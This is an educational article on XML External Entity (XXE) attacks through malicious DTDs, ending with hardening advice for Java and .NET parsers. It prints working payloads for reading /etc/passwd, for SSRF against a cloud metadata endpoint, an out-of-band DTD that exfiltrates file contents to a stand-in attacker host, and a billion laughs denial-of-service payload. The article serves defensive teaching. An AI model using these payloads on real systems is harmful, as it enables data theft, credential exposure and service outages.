Exploiting XML Parsers with Malicious DTD Declarations
This article examines how attackers exploit unhardened XML parsers through malicious Document Type Definition (DTD) declarations, a vulnerability commonly known as XML External Entity (XXE) injection. You will learn the mechanics behind these attacks, including local file disclosure, Server-Side Request Forgery (SSRF), out-of-band data exfiltration, and Denial of Service (DoS). Finally, the article outlines actionable defense strategies to harden XML parsers against these exploits.
Understanding DTDs and External Entities
A Document Type Definition (DTD) defines the legal building blocks of an XML document, specifying elements, attributes, and entities. XML entities function essentially as macros or shortcuts to data.
Entities can be declared internally or externally: * Internal
Entity: Defined completely within the DTD (e.g.,
<!ENTITY name "value">). * External
Entity: Points to an external resource using the
SYSTEM identifier, which accepts a URI (e.g.,
<!ENTITY file SYSTEM "file:///path"> or
<!ENTITY web SYSTEM "http://example.com">).
When an XML parser processes an untrusted document with external entity resolution enabled by default, it automatically fetches and parses the referenced URI, creating a direct vector for exploitation.
Attack Vectors Using Malicious DTDs
1. Local File Disclosure
Attackers can read sensitive files stored on the server by defining an external entity pointing to the local filesystem.
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data ANY>
<!ENTITY sensitiveFile SYSTEM "file:///etc/passwd">
]>
<data>&sensitiveFile;</data>When the parser encounters &sensitiveFile;, it reads
/etc/passwd and inserts its contents directly into the
parsed XML document, often reflecting the contents back in the
application response.
2. Server-Side Request Forgery (SSRF)
Attackers can use HTTP or other network protocols inside the
SYSTEM declaration to make the server initiate requests to
internal or external systems.
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY internalResource SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&internalResource;</data>This allows attackers to interact with internal APIs, cloud metadata services, or unauthenticated internal microservices hidden behind firewalls.
3. Out-of-Band (OOB) / Blind XXE
When the application does not return the parsed XML output directly,
attackers use parameter entities (declared with %) hosted
on an external attacker-controlled server to exfiltrate data via HTTP or
FTP queries.
Attacker-Hosted DTD (evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;Payload sent to target:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>test</data>The target server loads the external DTD, reads the file, and sends the contents embedded within a URL query parameter back to the attacker’s server.
4. Denial of Service (Billion Laughs Attack)
Attackers can exhaust server memory and CPU resources using recursive entity definitions without accessing external resources.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>Expanding nested entities exponentially overwhelms parser memory, leading to an immediate crash or resource starvation.
Hardening and Remediation
Securing XML parsers requires explicitly disabling features that allow DTD processing and external entity fetching.
- Disable DTD Processing Entirely: The most effective
remediation is to disallow
DOCTYPEdeclarations completely.- Java (DOM/SAX): Set
http://apache.org/xml/features/disallow-doctype-decltotrue. - .NET: Set
XmlReaderSettings.DtdProcessingtoDtdProcessing.Prohibit.
- Java (DOM/SAX): Set
- Disable External Entities and Parameters: If DTDs
cannot be fully disabled, turn off external entity resolution:
- Disable
http://xml.org/sax/features/external-general-entities - Disable
http://xml.org/sax/features/external-parameter-entities - Disable
http://apache.org/xml/features/nonvalidating/load-external-dtd
- Disable
- Use Less Complex Formats: Where feasible, replace XML with simpler data serialization formats such as JSON or Protocol Buffers, which do not support dynamic entity resolution mechanisms by design.